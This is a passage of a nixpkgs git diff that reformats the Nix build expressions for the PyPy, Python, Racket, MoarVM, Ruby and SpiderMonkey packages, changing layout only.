+      }
+      // optionalAttrs (optional-dependencies != { }) {
+        inherit optional-dependencies;
+      }
+      // optionalAttrs (build-system != [ ]) {
+        inherit build-system;
+      }
+      // attrs.passthru or { };
 
       meta = {
         # default to python's platforms
         platforms = python.meta.platforms;
         isBuildPythonPackage = python.meta.platforms;
-      } // meta;
+      }
+      // meta;
     }
     // optionalAttrs (attrs ? checkPhase) {
       # If given use the specified checkPhase, otherwise use the setup hook.
diff --git a/pkgs/development/interpreters/python/pypy/default.nix b/pkgs/development/interpreters/python/pypy/default.nix
index 148b2cb2ecf0..716901519113 100644
--- a/pkgs/development/interpreters/python/pypy/default.nix
+++ b/pkgs/development/interpreters/python/pypy/default.nix
@@ -81,41 +81,40 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      bzip2
-      openssl
-      pythonForPypy
-      libffi
-      ncurses
-      expat
-      sqlite
-      tk
-      tcl
-      libX11
-      gdbm
-      db
-    ]
-    ++ lib.optionals isPy3k [
-      xz
-    ]
-    ++ lib.optionals (stdenv ? cc && stdenv.cc.libc != null) [
-      stdenv.cc.libc
-    ]
-    ++ lib.optionals zlibSupport [
-      zlib
-    ]
-    ++
-      lib.optionals
-        (lib.any (l: l == optimizationLevel) [
-          "0"
-          "1"
-          "2"
-          "3"
-        ])
-        [
-          boehmgc
-        ];
+  buildInputs = [
+    bzip2
+    openssl
+    pythonForPypy
+    libffi
+    ncurses
+    expat
+    sqlite
+    tk
+    tcl
+    libX11
+    gdbm
+    db
+  ]
+  ++ lib.optionals isPy3k [
+    xz
+  ]
+  ++ lib.optionals (stdenv ? cc && stdenv.cc.libc != null) [
+    stdenv.cc.libc
+  ]
+  ++ lib.optionals zlibSupport [
+    zlib
+  ]
+  ++
+    lib.optionals
+      (lib.any (l: l == optimizationLevel) [
+        "0"
+        "1"
+        "2"
+        "3"
+      ])
+      [
+        boehmgc
+      ];
 
   # Remove bootstrap python from closure
   dontPatchShebangs = true;
@@ -201,32 +200,31 @@ stdenv.mkDerivation rec {
   doCheck = false;
   checkPhase =
     let
-      disabledTests =
-        [
-          # disable shutils because it assumes gid 0 exists
-          "test_shutil"
-          # disable socket because it has two actual network tests that fail
-          "test_socket"
-        ]
-        ++ lib.optionals (!isPy3k) [
-          # disable test_urllib2net, test_urllib2_localnet, and test_urllibnet because they require networking (example.com)
-          "test_urllib2net"
-          "test_urllibnet"
-          "test_urllib2_localnet"
-        ]
-        ++ lib.optionals isPy3k [
-          # disable asyncio due to https://github.com/NixOS/nix/issues/1238
-          "test_asyncio"
-          # disable os due to https://github.com/NixOS/nixpkgs/issues/10496
-          "test_os"
-          # disable pathlib due to https://bitbucket.org/pypy/pypy/pull-requests/594
-          "test_pathlib"
-          # disable tarfile because it assumes gid 0 exists
-          "test_tarfile"
-          # disable __all__ because of spurious imp/importlib warning and
-          # warning-to-error test policy
-          "test___all__"
-        ];
+      disabledTests = [
+        # disable shutils because it assumes gid 0 exists
+        "test_shutil"
+        # disable socket because it has two actual network tests that fail
+        "test_socket"
+      ]
+      ++ lib.optionals (!isPy3k) [
+        # disable test_urllib2net, test_urllib2_localnet, and test_urllibnet because they require networking (example.com)
+        "test_urllib2net"
+        "test_urllibnet"
+        "test_urllib2_localnet"
+      ]
+      ++ lib.optionals isPy3k [
+        # disable asyncio due to https://github.com/NixOS/nix/issues/1238
+        "test_asyncio"
+        # disable os due to https://github.com/NixOS/nixpkgs/issues/10496
+        "test_os"
+        # disable pathlib due to https://bitbucket.org/pypy/pypy/pull-requests/594
+        "test_pathlib"
+        # disable tarfile because it assumes gid 0 exists
+        "test_tarfile"
+        # disable __all__ because of spurious imp/importlib warning and
+        # warning-to-error test policy
+        "test___all__"
+      ];
     in
     ''
       export TERMINFO="${ncurses.out}/share/terminfo/";
@@ -240,18 +238,17 @@ stdenv.mkDerivation rec {
   doInstallCheck = true;
   installCheckPhase =
     let
-      modules =
-        [
-          "curses"
-          "sqlite3"
-        ]
-        ++ lib.optionals (!isPy3k) [
-          "Tkinter"
-        ]
-        ++ lib.optionals isPy3k [
-          "tkinter"
-          "lzma"
-        ];
+      modules = [
+        "curses"
+        "sqlite3"
+      ]
+      ++ lib.optionals (!isPy3k) [
+        "Tkinter"
+      ]
+      ++ lib.optionals isPy3k [
+        "tkinter"
+        "lzma"
+      ];
       imports = lib.concatMapStringsSep "; " (x: "import ${x}") modules;
     in
     ''
diff --git a/pkgs/development/interpreters/python/pypy/prebuilt.nix b/pkgs/development/interpreters/python/pypy/prebuilt.nix
index ec920405067e..02c7b39ad754 100644
--- a/pkgs/development/interpreters/python/pypy/prebuilt.nix
+++ b/pkgs/development/interpreters/python/pypy/prebuilt.nix
@@ -71,24 +71,23 @@ stdenv.mkDerivation {
     inherit hash;
   };
 
-  buildInputs =
-    [
-      bzip2
-      expat
-      gdbm
-      ncurses6
-      sqlite
-      zlib
-      stdenv.cc.cc.libgcc or null
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      tcl-8_5
-      tk-8_5
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      tcl-8_6
-      tk-8_6
-    ];
+  buildInputs = [
+    bzip2
+    expat
+    gdbm
+    ncurses6
+    sqlite
+    zlib
+    stdenv.cc.cc.libgcc or null
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    tcl-8_5
+    tk-8_5
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    tcl-8_6
+    tk-8_6
+  ];
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
@@ -147,18 +146,17 @@ stdenv.mkDerivation {
   # Check whether importing of (extension) modules functions
   installCheckPhase =
     let
-      modules =
-        [
-          "ssl"
-          "sys"
-          "curses"
-        ]
-        ++ lib.optionals (!isPy3k) [
-          "Tkinter"
-        ]
-        ++ lib.optionals isPy3k [
-          "tkinter"
-        ];
+      modules = [
+        "ssl"
+        "sys"
+        "curses"
+      ]
+      ++ lib.optionals (!isPy3k) [
+        "Tkinter"
+      ]
+      ++ lib.optionals isPy3k [
+        "tkinter"
+      ];
       imports = lib.concatMapStringsSep "; " (x: "import ${x}") modules;
     in
     ''
diff --git a/pkgs/development/interpreters/python/pypy/prebuilt_2_7.nix b/pkgs/development/interpreters/python/pypy/prebuilt_2_7.nix
index 82da8e953e66..1914b24b041d 100644
--- a/pkgs/development/interpreters/python/pypy/prebuilt_2_7.nix
+++ b/pkgs/development/interpreters/python/pypy/prebuilt_2_7.nix
@@ -71,24 +71,23 @@ stdenv.mkDerivation {
     inherit hash;
   };
 
-  buildInputs =
-    [
-      bzip2
-      expat
-      gdbm
-      ncurses6
-      sqlite
-      zlib
-      stdenv.cc.cc.libgcc or null
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      tcl-8_5
-      tk-8_5
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      tcl-8_6
-      tk-8_6
-    ];
+  buildInputs = [
+    bzip2
+    expat
+    gdbm
+    ncurses6
+    sqlite
+    zlib
+    stdenv.cc.cc.libgcc or null
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    tcl-8_5
+    tk-8_5
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    tcl-8_6
+    tk-8_6
+  ];
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
@@ -143,18 +142,17 @@ stdenv.mkDerivation {
   # Check whether importing of (extension) modules functions
   installCheckPhase =
     let
-      modules =
-        [
-          "ssl"
-          "sys"
-          "curses"
-        ]
-        ++ lib.optionals (!isPy3k) [
-          "Tkinter"
-        ]
-        ++ lib.optionals isPy3k [
-          "tkinter"
-        ];
+      modules = [
+        "ssl"
+        "sys"
+        "curses"
+      ]
+      ++ lib.optionals (!isPy3k) [
+        "Tkinter"
+      ]
+      ++ lib.optionals isPy3k [
+        "tkinter"
+      ];
       imports = lib.concatMapStringsSep "; " (x: "import ${x}") modules;
     in
     ''
diff --git a/pkgs/development/interpreters/python/python2/mk-python-derivation.nix b/pkgs/development/interpreters/python/python2/mk-python-derivation.nix
index 5bdfa4cd2992..5fd2c6e91dad 100644
--- a/pkgs/development/interpreters/python/python2/mk-python-derivation.nix
+++ b/pkgs/development/interpreters/python/python2/mk-python-derivation.nix
@@ -193,47 +193,46 @@ let
 
         name = namePrefix + name_;
 
-        nativeBuildInputs =
-          [
-            python
-            wrapPython
-            ensureNewerSourcesForZipFilesHook # move to wheel installer (pip) or builder (setuptools, ...)?
-            pythonRemoveTestsDirHook
-          ]
-          ++ lib.optionals catchConflicts [
-            pythonCatchConflictsHook
-          ]
-          ++ lib.optionals removeBinBytecode [
-            pythonRemoveBinBytecodeHook
-          ]
-          ++ lib.optionals (lib.hasSuffix "zip" (attrs.src.name or "")) [
-            unzip
-          ]
-          ++ lib.optionals (format == "setuptools") [
-            setuptoolsBuildHook
-          ]
-          ++ lib.optionals (format == "pyproject") [
-            (pipBuildHook)
-          ]
-          ++ lib.optionals (format == "wheel") [
-            wheelUnpackHook
-          ]
-          ++ lib.optionals (format == "egg") [
-            eggUnpackHook
-            eggBuildHook
-            eggInstallHook
-          ]
-          ++ lib.optionals (format != "other") [
-            (pipInstallHook)
-          ]
-          ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [
-            # This is a test, however, it should be ran independent of the checkPhase and checkInputs
-            pythonImportsCheckHook
-          ]
-          ++ lib.optionals withDistOutput [
-            pythonOutputDistHook
-          ]
-          ++ nativeBuildInputs;
+        nativeBuildInputs = [
+          python
+          wrapPython
+          ensureNewerSourcesForZipFilesHook # move to wheel installer (pip) or builder (setuptools, ...)?
+          pythonRemoveTestsDirHook
+        ]
+        ++ lib.optionals catchConflicts [
+          pythonCatchConflictsHook
+        ]
+        ++ lib.optionals removeBinBytecode [
+          pythonRemoveBinBytecodeHook
+        ]
+        ++ lib.optionals (lib.hasSuffix "zip" (attrs.src.name or "")) [
+          unzip
+        ]
+        ++ lib.optionals (format == "setuptools") [
+          setuptoolsBuildHook
+        ]
+        ++ lib.optionals (format == "pyproject") [
+          (pipBuildHook)
+        ]
+        ++ lib.optionals (format == "wheel") [
+          wheelUnpackHook
+        ]
+        ++ lib.optionals (format == "egg") [
+          eggUnpackHook
+          eggBuildHook
+          eggInstallHook
+        ]
+        ++ lib.optionals (format != "other") [
+          (pipInstallHook)
+        ]
+        ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [
+          # This is a test, however, it should be ran independent of the checkPhase and checkInputs
+          pythonImportsCheckHook
+        ]
+        ++ lib.optionals withDistOutput [
+          pythonOutputDistHook
+        ]
+        ++ nativeBuildInputs;
 
         buildInputs = validatePythonMatches "buildInputs" (buildInputs ++ pythonPath);
 
@@ -274,7 +273,8 @@ let
           # default to python's platforms
           platforms = python.meta.platforms;
           isBuildPythonPackage = python.meta.platforms;
-        } // meta;
+        }
+        // meta;
       }
       // lib.optionalAttrs (attrs ? checkPhase) {
         # If given use the specified checkPhase, otherwise use the setup hook.
diff --git a/pkgs/development/interpreters/python/tests.nix b/pkgs/development/interpreters/python/tests.nix
index e2dc7a69fbc6..e06d90141024 100644
--- a/pkgs/development/interpreters/python/tests.nix
+++ b/pkgs/development/interpreters/python/tests.nix
@@ -253,12 +253,13 @@ let
             url = "https://repo.anaconda.com/pkgs/main/noarch/requests-2.24.0-py_0.tar.bz2";
             sha256 = "02qzaf6gwsqbcs69pix1fnjxzgnngwzvrsy65h1d521g750mjvvp";
           };
-          nativeBuildInputs =
-            [ autoPatchelfHook ]
-            ++ (with python.pkgs; [
-              condaUnpackHook
-              condaInstallHook
-            ]);
+          nativeBuildInputs = [
+            autoPatchelfHook
+          ]
+          ++ (with python.pkgs; [
+            condaUnpackHook
+            condaInstallHook
+          ]);
           buildInputs = [
             pythonCondaPackages.condaPatchelfLibs
           ];
diff --git a/pkgs/development/interpreters/python/wrapper.nix b/pkgs/development/interpreters/python/wrapper.nix
index ec6fb716202a..6b6f97b74f3d 100644
--- a/pkgs/development/interpreters/python/wrapper.nix
+++ b/pkgs/development/interpreters/python/wrapper.nix
@@ -35,30 +35,29 @@ let
 
       nativeBuildInputs = [ makeBinaryWrapper ];
 
-      postBuild =
-        ''
-          if [ -L "$out/bin" ]; then
-              unlink "$out/bin"
-          fi
-          mkdir -p "$out/bin"
+      postBuild = ''
+        if [ -L "$out/bin" ]; then
+            unlink "$out/bin"
+        fi
+        mkdir -p "$out/bin"
 
-          for path in ${lib.concatStringsSep " " paths}; do
-            if [ -d "$path/bin" ]; then
-              cd "$path/bin"
-              for prg in *; do
-                if [ -f "$prg" ]; then
-                  rm -f "$out/bin/$prg"
-                  if [ -x "$prg" ]; then
-                    makeWrapper "$path/bin/$prg" "$out/bin/$prg" --set NIX_PYTHONPREFIX "$out" --set NIX_PYTHONEXECUTABLE ${pythonExecutable} --set NIX_PYTHONPATH ${pythonPath} ${
-                      lib.optionalString (!permitUserSite) ''--set PYTHONNOUSERSITE "true"''
-                    } ${lib.concatStringsSep " " makeWrapperArgs}
-                  fi
+        for path in ${lib.concatStringsSep " " paths}; do
+          if [ -d "$path/bin" ]; then
+            cd "$path/bin"
+            for prg in *; do
+              if [ -f "$prg" ]; then
+                rm -f "$out/bin/$prg"
+                if [ -x "$prg" ]; then
+                  makeWrapper "$path/bin/$prg" "$out/bin/$prg" --set NIX_PYTHONPREFIX "$out" --set NIX_PYTHONEXECUTABLE ${pythonExecutable} --set NIX_PYTHONPATH ${pythonPath} ${
+                    lib.optionalString (!permitUserSite) ''--set PYTHONNOUSERSITE "true"''
+                  } ${lib.concatStringsSep " " makeWrapperArgs}
                 fi
-              done
-            fi
-          done
-        ''
-        + postBuild;
+              fi
+            done
+          fi
+        done
+      ''
+      + postBuild;
 
       inherit (python) meta;
 
diff --git a/pkgs/development/interpreters/racket/minimal.nix b/pkgs/development/interpreters/racket/minimal.nix
index 8d85729c2a58..625aeaaa988a 100644
--- a/pkgs/development/interpreters/racket/minimal.nix
+++ b/pkgs/development/interpreters/racket/minimal.nix
@@ -75,26 +75,25 @@ stdenv.mkDerivation (finalAttrs: {
 
   configureScript = "../configure";
 
-  configureFlags =
-    [
-      # > docs failure: ftype-ref: ftype mismatch for #<ftype-pointer>
-      # "--enable-check"
-      "--enable-csonly"
-      "--enable-liblz4"
-      "--enable-libz"
-    ]
-    ++ lib.optional disableDocs "--disable-docs"
-    ++ lib.optionals (!(finalAttrs.dontDisableStatic or false)) [
-      # instead of `--disable-static` that `stdenv` assumes
-      "--disable-libs"
-      # "not currently supported" in `configure --help-cs` but still emphasized in README
-      "--enable-shared"
-    ]
-    ++ lib.optionals isDarwin [
-      "--disable-strip"
-      # "use Unix style (e.g., use Gtk) for Mac OS", which eliminates many problems
-      "--enable-xonx"
-    ];
+  configureFlags = [
+    # > docs failure: ftype-ref: ftype mismatch for #<ftype-pointer>
+    # "--enable-check"
+    "--enable-csonly"
+    "--enable-liblz4"
+    "--enable-libz"
+  ]
+  ++ lib.optional disableDocs "--disable-docs"
+  ++ lib.optionals (!(finalAttrs.dontDisableStatic or false)) [
+    # instead of `--disable-static` that `stdenv` assumes
+    "--disable-libs"
+    # "not currently supported" in `configure --help-cs` but still emphasized in README
+    "--enable-shared"
+  ]
+  ++ lib.optionals isDarwin [
+    "--disable-strip"
+    # "use Unix style (e.g., use Gtk) for Mac OS", which eliminates many problems
+    "--enable-xonx"
+  ];
 
   # The upstream script builds static libraries by default.
   dontAddStaticConfigureFlags = true;
diff --git a/pkgs/development/interpreters/rakudo/moarvm.nix b/pkgs/development/interpreters/rakudo/moarvm.nix
index 4cc67ca70253..039e225191b3 100644
--- a/pkgs/development/interpreters/rakudo/moarvm.nix
+++ b/pkgs/development/interpreters/rakudo/moarvm.nix
@@ -18,18 +18,17 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
   };
 
-  postPatch =
-    ''
-      patchShebangs .
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Configure.pl \
-        --replace '`/usr/bin/arch`' '"${stdenv.hostPlatform.darwinArch}"' \
-        --replace '/usr/bin/arch' "$(type -P true)" \
-        --replace '/usr/' '/nope/'
-      substituteInPlace 3rdparty/dyncall/configure \
-        --replace '`sw_vers -productVersion`' '"11.0"'
-    '';
+  postPatch = ''
+    patchShebangs .
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace Configure.pl \
+      --replace '`/usr/bin/arch`' '"${stdenv.hostPlatform.darwinArch}"' \
+      --replace '/usr/bin/arch' "$(type -P true)" \
+      --replace '/usr/' '/nope/'
+    substituteInPlace 3rdparty/dyncall/configure \
+      --replace '`sw_vers -productVersion`' '"11.0"'
+  '';
 
   buildInputs = [ perl ];
   doCheck = false; # MoarVM does not come with its own test suite
diff --git a/pkgs/development/interpreters/ruby/default.nix b/pkgs/development/interpreters/ruby/default.nix
index 2e388e389b4d..af5d523e3d08 100644
--- a/pkgs/development/interpreters/ruby/default.nix
+++ b/pkgs/development/interpreters/ruby/default.nix
@@ -146,43 +146,43 @@ let
 
           strictDeps = true;
 
-          nativeBuildInputs =
-            [
-              autoreconfHook
-              bison
-              removeReferencesTo
-            ]
-            ++ (op docSupport groff)
-            ++ (ops (dtraceSupport && stdenv.hostPlatform.isLinux) [
-              systemtap
-              libsystemtap
-            ])
-            ++ ops yjitSupport [
-              rustPlatform.cargoSetupHook
-              cargo
-              rustc
-            ]
-            ++ op useBaseRuby baseRuby;
-          buildInputs =
-            [ autoconf ]
-            ++ (op fiddleSupport libffi)
-            ++ (ops cursesSupport [
-              ncurses
-              readline
-            ])
-            ++ (op zlibSupport zlib)
-            ++ (op opensslSupport openssl)
-            ++ (op gdbmSupport gdbm)
-            ++ (op yamlSupport libyaml)
-            # Looks like ruby fails to build on darwin without readline even if curses
-            # support is not enabled, so add readline to the build inputs if curses
-            # support is disabled (if it's enabled, we already have it) and we're
-            # running on darwin
-            ++ op (!cursesSupport && stdenv.hostPlatform.isDarwin) readline
-            ++ ops stdenv.hostPlatform.isDarwin [
-              libiconv
-              libunwind
-            ];
+          nativeBuildInputs = [
+            autoreconfHook
+            bison
+            removeReferencesTo
+          ]
+          ++ (op docSupport groff)
+          ++ (ops (dtraceSupport && stdenv.hostPlatform.isLinux) [
+            systemtap
+            libsystemtap
+          ])
+          ++ ops yjitSupport [
+            rustPlatform.cargoSetupHook
+            cargo
+            rustc
+          ]
+          ++ op useBaseRuby baseRuby;
+          buildInputs = [
+            autoconf
+          ]
+          ++ (op fiddleSupport libffi)
+          ++ (ops cursesSupport [
+            ncurses
+            readline
+          ])
+          ++ (op zlibSupport zlib)
+          ++ (op opensslSupport openssl)
+          ++ (op gdbmSupport gdbm)
+          ++ (op yamlSupport libyaml)
+          # Looks like ruby fails to build on darwin without readline even if curses
+          # support is not enabled, so add readline to the build inputs if curses
+          # support is disabled (if it's enabled, we already have it) and we're
+          # running on darwin
+          ++ op (!cursesSupport && stdenv.hostPlatform.isDarwin) readline
+          ++ ops stdenv.hostPlatform.isDarwin [
+            libiconv
+            libunwind
+          ];
           propagatedBuildInputs = op jemallocSupport jemalloc;
 
           enableParallelBuilding = true;
@@ -236,36 +236,35 @@ let
             cp --remove-destination ${config}/config.sub tool/
           '';
 
-          configureFlags =
-            [
-              (lib.enableFeature (!stdenv.hostPlatform.isStatic) "shared")
-              (lib.enableFeature true "pthread")
-              (lib.withFeatureAs true "soname" "ruby-${version}")
-              (lib.withFeatureAs useBaseRuby "baseruby" "${baseRuby}/bin/ruby")
-              (lib.enableFeature dtraceSupport "dtrace")
-              (lib.enableFeature jitSupport "jit-support")
-              (lib.enableFeature yjitSupport "yjit")
-              (lib.enableFeature docSupport "install-doc")
-              (lib.withFeature jemallocSupport "jemalloc")
-              (lib.withFeatureAs docSupport "ridir" "${placeholder "devdoc"}/share/ri")
-              # ruby enables -O3 for gcc, however our compiler hardening wrapper
-              # overrides that by enabling `-O2` which is the minimum optimization
-              # needed for `_FORTIFY_SOURCE`.
-            ]
-            ++ lib.optional stdenv.cc.isGNU "CFLAGS=-O3"
-            ++ [
-            ]
-            ++ ops stdenv.hostPlatform.isDarwin [
-              # on darwin, we have /usr/include/tk.h -- so the configure script detects
-              # that tk is installed
-              "--with-out-ext=tk"
-              # on yosemite, "generating encdb.h" will hang for a very long time without this flag
-              "--with-setjmp-type=setjmp"
-            ]
-            ++ ops stdenv.hostPlatform.isFreeBSD [
-              "rb_cv_gnu_qsort_r=no"
-              "rb_cv_bsd_qsort_r=yes"
-            ];
+          configureFlags = [
+            (lib.enableFeature (!stdenv.hostPlatform.isStatic) "shared")
+            (lib.enableFeature true "pthread")
+            (lib.withFeatureAs true "soname" "ruby-${version}")
+            (lib.withFeatureAs useBaseRuby "baseruby" "${baseRuby}/bin/ruby")
+            (lib.enableFeature dtraceSupport "dtrace")
+            (lib.enableFeature jitSupport "jit-support")
+            (lib.enableFeature yjitSupport "yjit")
+            (lib.enableFeature docSupport "install-doc")
+            (lib.withFeature jemallocSupport "jemalloc")
+            (lib.withFeatureAs docSupport "ridir" "${placeholder "devdoc"}/share/ri")
+            # ruby enables -O3 for gcc, however our compiler hardening wrapper
+            # overrides that by enabling `-O2` which is the minimum optimization
+            # needed for `_FORTIFY_SOURCE`.
+          ]
+          ++ lib.optional stdenv.cc.isGNU "CFLAGS=-O3"
+          ++ [
+          ]
+          ++ ops stdenv.hostPlatform.isDarwin [
+            # on darwin, we have /usr/include/tk.h -- so the configure script detects
+            # that tk is installed
+            "--with-out-ext=tk"
+            # on yosemite, "generating encdb.h" will hang for a very long time without this flag
+            "--with-setjmp-type=setjmp"
+          ]
+          ++ ops stdenv.hostPlatform.isFreeBSD [
+            "rb_cv_gnu_qsort_r=no"
+            "rb_cv_bsd_qsort_r=yes"
+          ];
 
           preConfigure = opString docSupport ''
             # rdoc creates XDG_DATA_DIR (defaulting to $HOME/.local/share) even if
@@ -286,67 +285,66 @@ let
 
           installFlags = lib.optional docSupport "install-doc";
           # Bundler tries to create this directory
-          postInstall =
-            ''
-              rbConfig=$(find $out/lib/ruby -name rbconfig.rb)
-              # Remove references to the build environment from the closure
-              sed -i '/^  CONFIG\["\(BASERUBY\|SHELL\|GREP\|EGREP\|MKDIR_P\|MAKEDIRS\|INSTALL\)"\]/d' $rbConfig
-              # Remove unnecessary groff reference from runtime closure, since it's big
-              sed -i '/NROFF/d' $rbConfig
-              ${lib.optionalString (!jitSupport) ''
-                # Get rid of the CC runtime dependency
-                remove-references-to \
-                  -t ${stdenv.cc} \
-                  $out/lib/libruby*
-                remove-references-to \
-                  -t ${stdenv.cc} \
-                  $rbConfig
-                sed -i '/CC_VERSION_MESSAGE/d' $rbConfig
-              ''}
-
-              # Allow to override compiler. This is important for cross compiling as
-              # we need to set a compiler that is different from the build one.
-              sed -i "$rbConfig" \
-                -e 's/CONFIG\["CC"\] = "\(.*\)"/CONFIG["CC"] = if ENV["CC"].nil? || ENV["CC"].empty? then "\1" else ENV["CC"] end/' \
-                -e 's/CONFIG\["CXX"\] = "\(.*\)"/CONFIG["CXX"] = if ENV["CXX"].nil? || ENV["CXX"].empty? then "\1" else ENV["CXX"] end/'
-
-              # Remove unnecessary external intermediate files created by gems
-              extMakefiles=$(find $out/${finalAttrs.passthru.gemPath} -name Makefile)
-              for makefile in $extMakefiles; do
-                make -C "$(dirname "$makefile")" distclean
-              done
-              find "$out/${finalAttrs.passthru.gemPath}" \( -name gem_make.out -o -name mkmf.log -o -name exts.mk \) -delete
-              # Bundler tries to create this directory
-              mkdir -p $out/nix-support
-              cat > $out/nix-support/setup-hook <<EOF
-              addGemPath() {
-                addToSearchPath GEM_PATH \$1/${finalAttrs.passthru.gemPath}
-              }
-              addRubyLibPath() {
-                addToSearchPath RUBYLIB \$1/lib/ruby/site_ruby
-                addToSearchPath RUBYLIB \$1/lib/ruby/site_ruby/${ver.libDir}
-                addToSearchPath RUBYLIB \$1/lib/ruby/site_ruby/${ver.libDir}/${stdenv.hostPlatform.system}
-              }
-
-              addEnvHooks "$hostOffset" addGemPath
-              addEnvHooks "$hostOffset" addRubyLibPath
-              EOF
-            ''
-            + opString docSupport ''
-              # Prevent the docs from being included in the closure
-              sed -i "s|\$(DESTDIR)$devdoc|\$(datarootdir)/\$(RI_BASE_NAME)|" $rbConfig
-              sed -i "s|'--with-ridir=$devdoc/share/ri'||" $rbConfig
-
-              # Add rbconfig shim so ri can find docs
-              mkdir -p $devdoc/lib/ruby/site_ruby
-              cp ${./rbconfig.rb} $devdoc/lib/ruby/site_ruby/rbconfig.rb
-            ''
-            + opString useBaseRuby ''
-              # Prevent the baseruby from being included in the closure.
+          postInstall = ''
+            rbConfig=$(find $out/lib/ruby -name rbconfig.rb)
+            # Remove references to the build environment from the closure
+            sed -i '/^  CONFIG\["\(BASERUBY\|SHELL\|GREP\|EGREP\|MKDIR_P\|MAKEDIRS\|INSTALL\)"\]/d' $rbConfig
+            # Remove unnecessary groff reference from runtime closure, since it's big
+            sed -i '/NROFF/d' $rbConfig
+            ${lib.optionalString (!jitSupport) ''
+              # Get rid of the CC runtime dependency
               remove-references-to \
-                -t ${baseRuby} \
-                $rbConfig $out/lib/libruby*
-            '';
+                -t ${stdenv.cc} \
+                $out/lib/libruby*
+              remove-references-to \
+                -t ${stdenv.cc} \
+                $rbConfig
+              sed -i '/CC_VERSION_MESSAGE/d' $rbConfig
+            ''}
+
+            # Allow to override compiler. This is important for cross compiling as
+            # we need to set a compiler that is different from the build one.
+            sed -i "$rbConfig" \
+              -e 's/CONFIG\["CC"\] = "\(.*\)"/CONFIG["CC"] = if ENV["CC"].nil? || ENV["CC"].empty? then "\1" else ENV["CC"] end/' \
+              -e 's/CONFIG\["CXX"\] = "\(.*\)"/CONFIG["CXX"] = if ENV["CXX"].nil? || ENV["CXX"].empty? then "\1" else ENV["CXX"] end/'
+
+            # Remove unnecessary external intermediate files created by gems
+            extMakefiles=$(find $out/${finalAttrs.passthru.gemPath} -name Makefile)
+            for makefile in $extMakefiles; do
+              make -C "$(dirname "$makefile")" distclean
+            done
+            find "$out/${finalAttrs.passthru.gemPath}" \( -name gem_make.out -o -name mkmf.log -o -name exts.mk \) -delete
+            # Bundler tries to create this directory
+            mkdir -p $out/nix-support
+            cat > $out/nix-support/setup-hook <<EOF
+            addGemPath() {
+              addToSearchPath GEM_PATH \$1/${finalAttrs.passthru.gemPath}
+            }
+            addRubyLibPath() {
+              addToSearchPath RUBYLIB \$1/lib/ruby/site_ruby
+              addToSearchPath RUBYLIB \$1/lib/ruby/site_ruby/${ver.libDir}
+              addToSearchPath RUBYLIB \$1/lib/ruby/site_ruby/${ver.libDir}/${stdenv.hostPlatform.system}
+            }
+
+            addEnvHooks "$hostOffset" addGemPath
+            addEnvHooks "$hostOffset" addRubyLibPath
+            EOF
+          ''
+          + opString docSupport ''
+            # Prevent the docs from being included in the closure
+            sed -i "s|\$(DESTDIR)$devdoc|\$(datarootdir)/\$(RI_BASE_NAME)|" $rbConfig
+            sed -i "s|'--with-ridir=$devdoc/share/ri'||" $rbConfig
+
+            # Add rbconfig shim so ri can find docs
+            mkdir -p $devdoc/lib/ruby/site_ruby
+            cp ${./rbconfig.rb} $devdoc/lib/ruby/site_ruby/rbconfig.rb
+          ''
+          + opString useBaseRuby ''
+            # Prevent the baseruby from being included in the closure.
+            remove-references-to \
+              -t ${baseRuby} \
+              $rbConfig $out/lib/libruby*
+          '';
 
           installCheckPhase = ''
             overriden_cc=$(CC=foo $out/bin/ruby -rrbconfig -e 'puts RbConfig::CONFIG["CC"]')
@@ -375,38 +373,37 @@ let
             knownVulnerabilities = op (lib.versionOlder ver.majMin "3.0") "This Ruby release has reached its end of life. See https://www.ruby-lang.org/en/downloads/branches/.";
           };
 
-          passthru =
-            rec {
-              version = ver;
-              rubyEngine = "ruby";
-              libPath = "lib/${rubyEngine}/${ver.libDir}";
-              gemPath = "lib/${rubyEngine}/gems/${ver.libDir}";
-              devEnv = import ./dev.nix {
-                inherit buildEnv bundler bundix;
-                ruby = finalAttrs.finalPackage;
-              };
-
-              inherit rubygems;
-              inherit
-                (import ../../ruby-modules/with-packages {
-                  inherit
-                    lib
-                    stdenv
-                    makeBinaryWrapper
-                    buildRubyGem
-                    buildEnv
-                    ;
-                  gemConfig = defaultGemConfig;
-                  ruby = finalAttrs.finalPackage;
-                })
-                withPackages
-                buildGems
-                gems
-                ;
-            }
-            // lib.optionalAttrs useBaseRuby {
-              inherit baseRuby;
+          passthru = rec {
+            version = ver;
+            rubyEngine = "ruby";
+            libPath = "lib/${rubyEngine}/${ver.libDir}";
+            gemPath = "lib/${rubyEngine}/gems/${ver.libDir}";
+            devEnv = import ./dev.nix {
+              inherit buildEnv bundler bundix;
+              ruby = finalAttrs.finalPackage;
             };
+
+            inherit rubygems;
+            inherit
+              (import ../../ruby-modules/with-packages {
+                inherit
+                  lib
+                  stdenv
+                  makeBinaryWrapper
+                  buildRubyGem
+                  buildEnv
+                  ;
+                gemConfig = defaultGemConfig;
+                ruby = finalAttrs.finalPackage;
+              })
+              withPackages
+              buildGems
+              gems
+              ;
+          }
+          // lib.optionalAttrs useBaseRuby {
+            inherit baseRuby;
+          };
         })
       ) args;
     in
diff --git a/pkgs/development/interpreters/spidermonkey/common.nix b/pkgs/development/interpreters/spidermonkey/common.nix
index 18d06cdcf92b..f6e9698b8a36 100644
--- a/pkgs/development/interpreters/spidermonkey/common.nix
+++ b/pkgs/development/interpreters/spidermonkey/common.nix
@@ -67,38 +67,36 @@ stdenv.mkDerivation (finalAttrs: rec {
       })
     ];
 
